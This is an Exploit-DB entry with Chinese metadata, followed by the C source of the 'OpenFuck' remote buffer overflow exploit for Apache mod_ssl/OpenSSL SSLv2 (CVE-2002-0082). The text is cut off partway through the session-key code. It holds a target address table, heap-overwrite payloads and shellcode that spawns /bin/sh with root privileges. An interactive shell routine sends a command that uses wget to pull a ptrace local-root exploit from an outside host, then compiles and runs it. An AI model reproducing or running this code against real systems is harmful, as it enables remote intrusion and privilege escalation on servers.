标题: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) EDB-ID: 47080 CVE: 2002-0082 类型: REMOTE 平台: UNIX 发布日期: 2019-07-07 漏洞利用脚本: /*
 * OF version r00t VERY PRIV8 spabam
 * Version: v3.0.4 
 * Requirements: libssl-dev    ( apt-get install libssl-dev )
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 * Note: if required, host ptrace and replace wget target
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

/* update this if you add architectures */
#define MAX_ARCH 138

struct archs {
 char* desc;
 int func_addr; /* objdump -R /usr/sbin/httpd | grep free */
} architectures[] = {

{"Caldera OpenLinux (apache-1.3.26)",0x080920e0},
{"Cobalt Sun 6.0 (apache-1.3.12)",0x8120f0c},
{"Cobalt Sun 6.0 (apache-1.3.20)",0x811dcb8},
{"Cobalt Sun x (apache-1.3.26)",0x8123ac3},
{"Cobalt Sun x Fixed2 (apache-1.3.26)",0x81233c3},
{"Conectiva 4 (apache-1.3.6)",0x08075398},
{"Conectiva 4.1 (apache-1.3.9)",0x0808f2fe},
{"Conectiva 6 (apache-1.3.14)",0x0809222c},
{"Conectiva 7 (apache-1.3.12)",0x0808f874},
{"Conectiva 7 (apache-1.3.19)",0x08088aa0},
{"Conectiva 7/8 (apache-1.3.26)",0x0808e628},
{"Conectiva 8 (apache-1.3.22)",0x0808b2d0},
{"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",0x08095264},
{"Debian GNU Linux (apache_1.3.19-1)",0x080966fc},
{"Debian GNU Linux (apache_1.3.22-2)",0x08096aac},
{"Debian GNU Linux (apache-1.3.22-2.1)",0x08083828},
{"Debian GNU Linux (apache-1.3.22-5)",0x08083728},
{"Debian GNU Linux (apache_1.3.23-1)",0x08085de8},
{"Debian GNU Linux (apache_1.3.24-2.1)",0x08087d08},
{"Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",0x080873ac},
{"Debian GNU Linux (apache_1.3.24-3)",0x08087d68},
{"Debian GNU Linux (apache-1.3.26-1)",0x0080863c4},
{"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",0x080863cc},
{"Debian GNU Linux (apache-1.3.27)",0x0080866a3},
{"FreeBSD (apache-1.3.9)", 0xbfbfde00},
{"FreeBSD (apache-1.3.11)",0x080a2ea8},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7f58},
{"FreeBSD (apache-1.3.12.1.40)",0x080a0ec0},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7e7c},
{"FreeBSD (apache-1.3.12.1.40_1)",0x080a7f18},
{"FreeBSD (apache-1.3.12)",0x0809bd7c},
{"FreeBSD (apache-1.3.14)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.14)",0x080ab68c},
{"FreeBSD (apache-1.3.14)",0x0808c76c},
{"FreeBSD (apache-1.3.14)",0x080a3fc8},
{"FreeBSD (apache-1.3.14)",0x080ab6d8},
{"FreeBSD (apache-1.3.17_1)",0x0808820c},
{"FreeBSD (apache-1.3.19)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.19_1)",0x0808c96c},
{"FreeBSD (apache-1.3.20)",0x0808cb70},
{"FreeBSD (apache-1.3.20)", 0xbfbfc000},
{"FreeBSD (apache-1.3.20+2.8.4)",0x0808faf8},
{"FreeBSD (apache-1.3.20_1)",0x0808dfb4},
{"FreeBSD (apache-1.3.22)", 0xbfbfc000},
{"FreeBSD (apache-1.3.22_7)",0x0808d110},
{"FreeBSD (apache_fp-1.3.23)",0x0807c5f8},
{"FreeBSD (apache-1.3.24_7)",0x0808f8b0},
{"FreeBSD (apache-1.3.24+2.8.8)",0x080927f8},
{"FreeBSD 4.6.2-Release-p6 (apache-1.3.26)",0x080c432c},
{"FreeBSD 4.6-Realease (apache-1.3.26)",0x0808fdec},
{"FreeBSD (apache-1.3.27)",0x080902e4},
{"Gentoo Linux (apache-1.3.24-r2)",0x08086c34},
{"Linux Generic (apache-1.3.14)",0xbffff500},
{"Mandrake Linux X.x (apache-1.3.22-10.1mdk)",0x080808ab},
{"Mandrake Linux 7.1 (apache-1.3.14-2)",0x0809f6c4},
{"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",0x0809d233},
{"Mandrake Linux 7.2 (apache-1.3.14-2mdk)",0x0809f6ef},
{"Mandrake Linux 7.2 (apache-1.3.14) 2",0x0809d6c4},
{"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",0x0809ccde},
{"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",0x0809ce14},
{"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",0x0809d262},
{"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",0x08083545},
{"Mandrake Linux 8.0 (apache-1.3.19-3)",0x0809ea98},
{"Mandrake Linux 8.1 (apache-1.3.20-3)",0x0809e97c},
{"Mandrake Linux 8.2 (apache-1.3.23-4)",0x08086580},
{"Mandrake Linux 8.2 #2 (apache-1.3.23-4)",0x08086484},
{"Mandrake Linux 8.2 (apache-1.3.24)",0x08086665},
{"Mandrake Linux 9 (apache-1.3.26)",0x0808b864},
{"RedHat Linux ?.? GENERIC (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST1 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST2 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",0x080d2c35},
{"RedHat Linux 4.2 (apache-1.1.3-3)",0x08065bae},
{"RedHat Linux 5.0 (apache-1.2.4-4)",0x0808c82c},
{"RedHat Linux 5.1-Update (apache-1.2.6)",0x08092a45},
{"RedHat Linux 5.1 (apache-1.2.6-4)",0x08092c2d},
{"RedHat Linux 5.2 (apache-1.3.3-1)",0x0806f049},
{"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",0x0808e4d8},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707ec},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707f9},
{"RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",0x0808fd52},
{"RedHat Linux 6.0 Update (apache-1.3.24)",0x80acd58},
{"RedHat Linux 6.1 (apache-1.3.9-4)1",0x0808ccc4},
{"RedHat Linux 6.1 (apache-1.3.9-4)2",0x0808ccdc},
{"RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",0x0808fd5d},
{"RedHat Linux 6.1-fp2000 (apache-1.3.26)",0x082e6fcd},
{"RedHat Linux 6.2 (apache-1.3.12-2)1",0x0808f689},
{"RedHat Linux 6.2 (apache-1.3.12-2)2",0x0808f614},
{"RedHat Linux 6.2 mod(apache-1.3.12-2)3",0xbffff94c},
{"RedHat Linux 6.2 update (apache-1.3.22-5.6)1",0x0808f9ec},
{"RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",0x0808f9d4},
{"Redhat Linux 7.x (apache-1.3.22)",0x0808400c},
{"RedHat Linux 7.x (apache-1.3.26-1)",0x080873bc},
{"RedHat Linux 7.x (apache-1.3.27)",0x08087221},
{"RedHat Linux 7.0 (apache-1.3.12-25)1",0x0809251c},
{"RedHat Linux 7.0 (apache-1.3.12-25)2",0x0809252d},
{"RedHat Linux 7.0 (apache-1.3.14-2)",0x08092b98},
{"RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",0x08084358},
{"RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",0x08086e41},
{"RedHat Linux 7.1 (apache-1.3.19-5)1",0x0809af8c},
{"RedHat Linux 7.1 (apache-1.3.19-5)2",0x0809afd9},
{"RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.1-Update (1.3.22-5.7.1)",0x08084389},
{"RedHat Linux 7.1 (apache-1.3.22-src)",0x0816021c},
{"RedHat Linux 7.1-Update (1.3.27-1.7.1)",0x08086ec89},
{"RedHat Linux 7.2 (apache-1.3.20-16)1",0x080994e5},
{"RedHat Linux 7.2 (apache-1.3.20-16)2",0x080994d4},
{"RedHat Linux 7.2-Update (apache-1.3.22-6)",0x08084045},
{"RedHat Linux 7.2 (apache-1.3.24)",0x80b0938},
{"RedHat Linux 7.2 (apache-1.3.26)",0x08161c16},
{"RedHat Linux 7.2 (apache-1.3.26-snc)",0x8161c14},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",0x08269950},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",0x08269988},
{"RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",0x08086af9},
{"RedHat Linux 7.3 (apache-1.3.23-11)1",0x0808528c},
{"RedHat Linux 7.3 (apache-1.3.23-11)2",0x0808525f},
{"RedHat Linux 7.3 (apache-1.3.27)",0x080862e4},
{"RedHat Linux 8.0 (apache-1.3.27)",0x08084c1c},
{"RedHat Linux 8.0-second (apache-1.3.27)",0x0808151e},
{"RedHat Linux 8.0 (apache-2.0.40)",0x08092fa4},
{"Slackware Linux 4.0 (apache-1.3.6)",0x08088130},
{"Slackware Linux 7.0 (apache-1.3.9)",0x080a7fc0},
{"Slackware Linux 7.0 (apache-1.3.26)",0x083d37fc},
{"Slackware 7.0  (apache-1.3.26)2",0x083d2232},
{"Slackware Linux 7.1 (apache-1.3.12)",0x080a86a4},
{"Slackware Linux 8.0 (apache-1.3.20)",0x080ae67c},
{"Slackware Linux 8.1 (apache-1.3.24)",0x080b0c60},
{"Slackware Linux 8.1 (apache-1.3.26)",0x080b2100},
{"Slackware Linux 8.1-stable (apache-1.3.26)",0x080b0c60},
{"Slackware Linux (apache-1.3.27)",0x080b1a3a},
{"SuSE Linux 7.0 (apache-1.3.12)",0x0809f54c},
{"SuSE Linux 7.1 (apache-1.3.17)",0x08099984},
{"SuSE Linux 7.2 (apache-1.3.19)",0x08099ec8},
{"SuSE Linux 7.3 (apache-1.3.20)",0x08099da8},
{"SuSE Linux 8.0 (apache-1.3.23)",0x08086168},
{"SUSE Linux 8.0 (apache-1.3.23-120)",0x080861c8},
{"SuSE Linux 8.0 (apache-1.3.23-137)",0x080861c8},
/* this one unchecked cause require differend shellcode */
{"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",0xfd42630},

};

extern int errno;

int cipher;
int ciphers;

/* the offset of the local port from be beginning of the overwrite next chunk buffer */
#define FINDSCKPORTOFS     208 + 12 + 46

unsigned char overwrite_session_id_length[] =
 "AAAA"        /* int master key length; */
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
 "\x70\x00\x00\x00";     /* unsigned int session id length; */

unsigned char overwrite_next_chunk[] =
 "AAAA"        /* int master key length; */
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
 "AAAA"        /* unsigned int session id length; */
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
 "AAAA"        /* unsigned int sid ctx length; */
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
 "AAAA"        /* int not resumable; */
 "\x00\x00\x00\x00"     /* struct sess cert st *sess cert; */
 "\x00\x00\x00\x00"     /* X509 *peer; */
 "AAAA"        /* long verify result; */
 "\x01\x00\x00\x00"     /* int references; */
 "AAAA"        /* int timeout; */
 "AAAA"        /* int time */
 "AAAA"        /* int compress meth; */
 "\x00\x00\x00\x00"     /* SSL CIPHER *cipher; */
 "AAAA"        /* unsigned long cipher id; */
 "\x00\x00\x00\x00"     /* STACK OF(SSL CIPHER) *ciphers; */
 "\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */
 "AAAAAAAA"       /* struct ssl session st *prev,*next; */

 "\x00\x00\x00\x00"     /* Size of previous chunk */
 "\x11\x00\x00\x00"     /* Size of chunk, in bytes */
 "fdfd"        /* Forward and back pointers */
 "bkbk"
 "\x10\x00\x00\x00"     /* Size of previous chunk */
 "\x10\x00\x00\x00"     /* Size of chunk, PREV INUSE is set */

/* shellcode start */
    "\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */

/* 72 bytes findsckcode by LSD-pl */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
    "\xb3\x10"             /* movb    $0x10,%bl              */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x89\x0f"             /* movl    %ecx,(%edi)            */
    "\x51"                 /* pushl   %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x66"             /* movb    $0x66,%al              */
    "\xb3\x07"             /* movb    $0x07,%bl              */
    "\x89\xf9"             /* movl    %edi,%ecx              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x39\xd8"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <findsckcode+54>       */
    "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
    "\x74\x02"             /* je      <findsckcode+56>       */
    "\xe2\xe0"             /* loop    <findsckcode+24>       */
    "\x89\xcb"             /* movl    %ecx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3f"             /* movb    $0x3f,%al              */
    "\x49"                 /* decl    %ecx                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x41"                 /* incl    %ecx                   */
    "\xe2\xf6"             /* loop    <findsckcode+62>       */

/* 10 byte setresuid(0,0,0); by core */
     "\x31\xc9"       /* xor    %ecx,%ecx */
     "\xf7\xe1"       /* mul    %ecx,%eax */
     "\x51"           /* push   %ecx */
     "\x5b"           /* pop    %ebx */
     "\xb0\xa4"       /* mov    $0xa4,%al */
     "\xcd\x80"       /* int    $0x80 */

    
/* bigger shellcode added by spabam */

/* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
        "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
*/


/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80";             /* int     $0x80                  */

/* read and write buffer*/
#define BUFSIZE 16384

/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16 /* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)

/* straight from the openssl source */
#define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)

/* we keep all SSL2 state in this structure */
typedef struct {
 int sock;

 /* client stuff */
 unsigned char challenge[CHALLENGE_LENGTH];
 unsigned char master_key[RC4_KEY_LENGTH];
 unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];

 /* connection id - returned by the server */
 int conn_id_length;
 unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];

 /* server certificate */
 X509 *x509;

 /* session keys */
 unsigned char* read_key;
 unsigned char* write_key;
 RC4_KEY* rc4_read_key;
 RC4_KEY* rc4_write_key;

 /* sequence numbers, used for MAC calculation */
 int read_seq;
 int write_seq;

 /* set to 1 when the SSL2 handshake is complete */
 int encrypted;
} ssl_conn;

#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

long getip(char *hostname) {
 struct hostent *he;
 long ipaddr;
 
 if ((ipaddr = inet_addr(hostname)) < 0) {
  if ((he = gethostbyname(hostname)) == NULL) {
   perror("gethostbyname()");
   exit(-1);
  }
  memcpy(&ipaddr, he->h_addr, he->h_length);
 } 
 return ipaddr;
}

/* mixter's code w/enhancements by core */

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;

   /* Priming commands */
   strcpy(snd, COMMAND1 "\n");
   write(sockfd, snd, strlen(snd));

   strcpy(snd, COMMAND2 "\n");
   write(sockfd, snd, strlen(snd));

   /* Main command loop */
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);

      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);

      if (FD_ISSET(fileno(stdin), &rset)) {
  bzero(snd, sizeof(snd));
  fgets(snd, sizeof(snd)-2, stdin);
  write(sockfd, snd, strlen(snd));
      }

      if (FD_ISSET(sockfd, &rset)) {
  bzero(rcv, sizeof(rcv));

  if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
     printf("Good Bye!\n");
     return 0;
  }

  if (n < 0) {
     perror("read");
     return 1;
  }

  fputs(rcv, stdout);
  fflush(stdout); /* keeps output nice */
      }
   } /* for(;;) */
}

/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
 struct sockaddr_in s_in;
 unsigned int namelen = sizeof(s_in);

 if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
  printf("Can't get local port: %s\n", strerror(errno));
  exit(1);
 }

 return s_in.sin_port;
}

/* Connect to a host */
int connect_host(char* host, int port)
{
 struct sockaddr_in s_in;
 int sock;

 s_in.sin_family = AF_INET;
 s_in.sin_addr.s_addr = getip(host);
 s_in.sin_port = htons(port);

 if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
  printf("Could not create a socket\n");
  exit(1);
 }

 if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
  printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
  exit(1);
 }

 return sock;
}

/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
 ssl_conn* ssl;

 if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
  printf("Can't allocate memory\n");
  exit(1);
 }

 /* Initialize some values */
 ssl->encrypted = 0;
 ssl->write_seq = 0;
 ssl->read_seq = 0;

 ssl->sock = connect_host(host, port);

 return ssl;
}

/* global buffer used by the ssl result() */
char res_buf[30];

/* converts an SSL error code to a string */
char* ssl_error(int code) {
 switch (code) {
  case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)";
  case 0x01: return "SSL2 PE NO CIPHER (0x01)";
  case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)";
  case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)";
  case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
 default:
  sprintf(res_buf, "%02x", code);
  return res_buf;
 }
}

/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
 int l;
 int to_read = len;

 do {
  if ((l = read(sock, buf, to_read)) < 0) {
   printf("Error in read: %s\n", strerror(errno));
   exit(1);
  }
  to_read -= len;
 } while (to_read > 0);

 return len;
}

/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
 int rec_len, padding;

 read_data(ssl->sock, buf, 2);

 if ((buf[0] & 0x80) == 0) {
  /* three byte header */
  rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
  read_data(ssl->sock, &buf[2], 1);
  padding = (int)buf[2];
 }
 else {
  /* two byte header */
  rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
  padding = 0;
 }

 if ((rec_len <= 0) || (rec_len > buf_size)) {
  printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); 
  exit(1);
 }

 read_data(ssl->sock, buf, rec_len);

 if (ssl->encrypted) {
  if (MD5_DIGEST_LENGTH + padding >= rec_len) {
   if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
    /* the server didn't switch to encryption due to an error */
    return 0;
   }
   else {
    printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
    exit(1);
   }
  }

  /* decrypt the encrypted part of the packet */
  RC4(ssl->rc4_read_key, rec_len, buf, buf);

  /* move the decrypted message in the beginning of the buffer */
  rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
 }

 if (buf[0] == SSL2_MT_ERROR) {
  if (rec_len != 3) {
   printf("Malformed server error message\n");
   exit(1);
  }
  else {
   return 0;
  }
 }

 return rec_len;
}

/* send an ssl packet, encrypting it if ssl->encrypted is set */
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
 unsigned char buf[BUFSIZE];
 unsigned char* p;
 int tot_len;
 MD5_CTX ctx;
 int seq;


 if (ssl->encrypted)
  tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */
 else
  tot_len = rec_len;

 if (2 + tot_len > BUFSIZE) {
  printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
  exit(1);
 }

 p = buf;
 s2n(tot_len, p);

 buf[0] = buf[0] | 0x80; /* two byte header */

 if (ssl->encrypted) {
  /* calculate the MAC */
  seq = ntohl(ssl->write_seq);

  MD5_Init(&ctx);
  MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  MD5_Update(&ctx, rec, rec_len);
  MD5_Update(&ctx, &seq, 4);
  MD5_Final(p, &ctx);

  p+=MD5_DIGEST_LENGTH;

  memcpy(p, rec, rec_len);

  /* encrypt the payload */
  RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);

 }
 else {
  memcpy(p, rec, rec_len);
 }

 send(ssl->sock, buf, 2 + tot_len, 0);

 /* the sequence number is incremented by both encrypted and plaintext packets
*/
 ssl->write_seq++;
}

/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
 int i;
 unsigned char buf[BUFSIZE] =
  "\x01"   /* client hello msg */

  "\x00\x02"  /* client version */
  "\x00\x18"  /* cipher specs length */
  "\x00\x00"  /* session id length */
  "\x00\x10"  /* challenge length */

  "\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */
  "\x80\x01\x00\x80\x08\x00\x80\x06"
  "\x00\x40\x04\x00\x80\x02\x00\x80"

  "";         /* session id data */

 /* generate CHALLENGE LENGTH bytes of challenge data */
 for (i = 0; i < CHALLENGE_LENGTH; i++) {
  ssl->challenge[i] = (unsigned char) (rand() >> 24);
 }
 memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);

 send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}

/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
 unsigned char buf[BUFSIZE];
 const unsigned char *p, *end;
 int len;
 int server_version, cert_length, cs_length, conn_id_length;
 int found;

 if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  exit(1);
 }
 if (len < 11) {
  printf("get_server_hello: Packet too short (len = %d)\n", len);
  exit(1);
 }

 p = buf;

 if (*(p++) != SSL2_MT_SERVER_HELLO) {
  printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
  exit(1);
 }
 

 if (*(p++) != 0) {
  printf("get_server_hello: SESSION-ID-HIT is not 0\n");
  exit(1);
 }

 if (*(p++) != 1) {
  printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
  exit(1);
 }

 n2s(p, server_version);
 if (server_version != 2) {
  printf("get_server_hello: Unsupported server version %d\n", server_version);
  exit(1);
 }

 n2s(p, cert_length);
 n2s(p, cs_length);
 n2s(p, conn_id_length);

 if (len != 11 + cert_length + cs_length + conn_id_length) {
  printf("get_server_hello: Malformed packet size\n");
  exit(1);
 }

 /* read the server certificate */
 ssl->x509 = NULL;
 ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
 if (ssl->x509 == NULL) {
  printf("get server hello: Cannot parse x509 certificate\n");
  exit(1);
 }

 if (cs_length % 3 != 0) {
  printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
  exit(1);
 }

 found = 0;
 for (end=p+cs_length; p < end; p += 3) {
  if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
   found = 1; /* SSL CK RC4 128 WITH MD5 */
 }

 if (!found) {
  printf("get server hello: Remote server does not support 128 bit RC4\n");
  exit(1);
 }

 if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
  printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
  exit(1);
 }

 /* The connection id is sent back to the server in the CLIENT FINISHED packet */
 ssl->conn_id_length = conn_id_length;
 memcpy(ssl->conn_id, p, conn_id_length);
}

/* Send a CLIENT MASTER KEY message to the server */

void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
 int encrypted_key_length, key_arg_length, record_length;
 unsigned char* p;
 int i;
 EVP_PKEY *pkey=NULL;

 unsigned char buf[BUFSIZE] =
  "\x02"   /* client master key message */
  "\x01\x00\x80" /* cipher kind */
  "\x00\x00"  /* clear key length */
  "\x00\x40"  /* encrypted key length */
  "\x00\x08";  /* key arg length */

 p = &buf[10];

 /* generate a 128 byte master key */
 for (i = 0; i < RC4_KEY_LENGTH; i++) {
  ssl->master_key[i] = (unsigned char) (rand() >> 24);
 }

 pkey=X509_get_pubkey(ssl->x509);
 if (!pkey) {
  printf("send client master key: No public key in the server certificate\n");
  exit(1);
 }

 if (EVP_PKEY_get1_RSA(pkey) == NULL) {
  printf("send client master key: The public key in the server certificate is not a RSA key\n");
  exit(1);
 }

 /* Encrypt the client master key with the server public key and put it in the packet */
 encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
 if (encrypted_key_length <= 0) {
  printf("send client master key: RSA encryption failure\n");
  exit(1);
 }

 p += encrypted_key_length;

 if (key_arg_overwrite) {
  /* These 8 bytes fill the key arg array on the server */
  for (i = 0; i < 8; i++) {
   *(p++) = (unsigned char) (rand() >> 24);
  }
  /* This overwrites the data following the key arg array */
  memcpy(p, key_arg_overwrite, key_arg_overwrite_len);

  key_arg_length = 8 + key_arg_overwrite_len;
 }
 else {
  key_arg_length = 0; /* RC4 doesn't use KEY-ARG */
 }
 p = &buf[6];
 s2n(encrypted_key_length, p);
 s2n(key_arg_length, p);
 record_length = 10 + encrypted_key_length + key_arg_length;
 send_ssl_packet(ssl, buf, record_length);
 ssl->encrypted = 1;
}
void generate_key_material(ssl_conn* ssl)
{
 unsigned int i;
 MD5_CTX ctx;
 unsigned char *km;
 unsigned char c='0';

 km=ssl->key_material;
 for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  MD5_Init(&ctx);

  MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  MD5_Update(&ctx,&c,1);
  c++;
  MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  MD5_Final(km,&ctx);
  km+=MD5_DIGEST_LENGTH;
 }
}
void generate_session_keys(ssl_conn* ssl)
{
 generate_key_material(ssl);
 ssl->read_key = &(ssl->key_material[0]);
 ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
 RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);

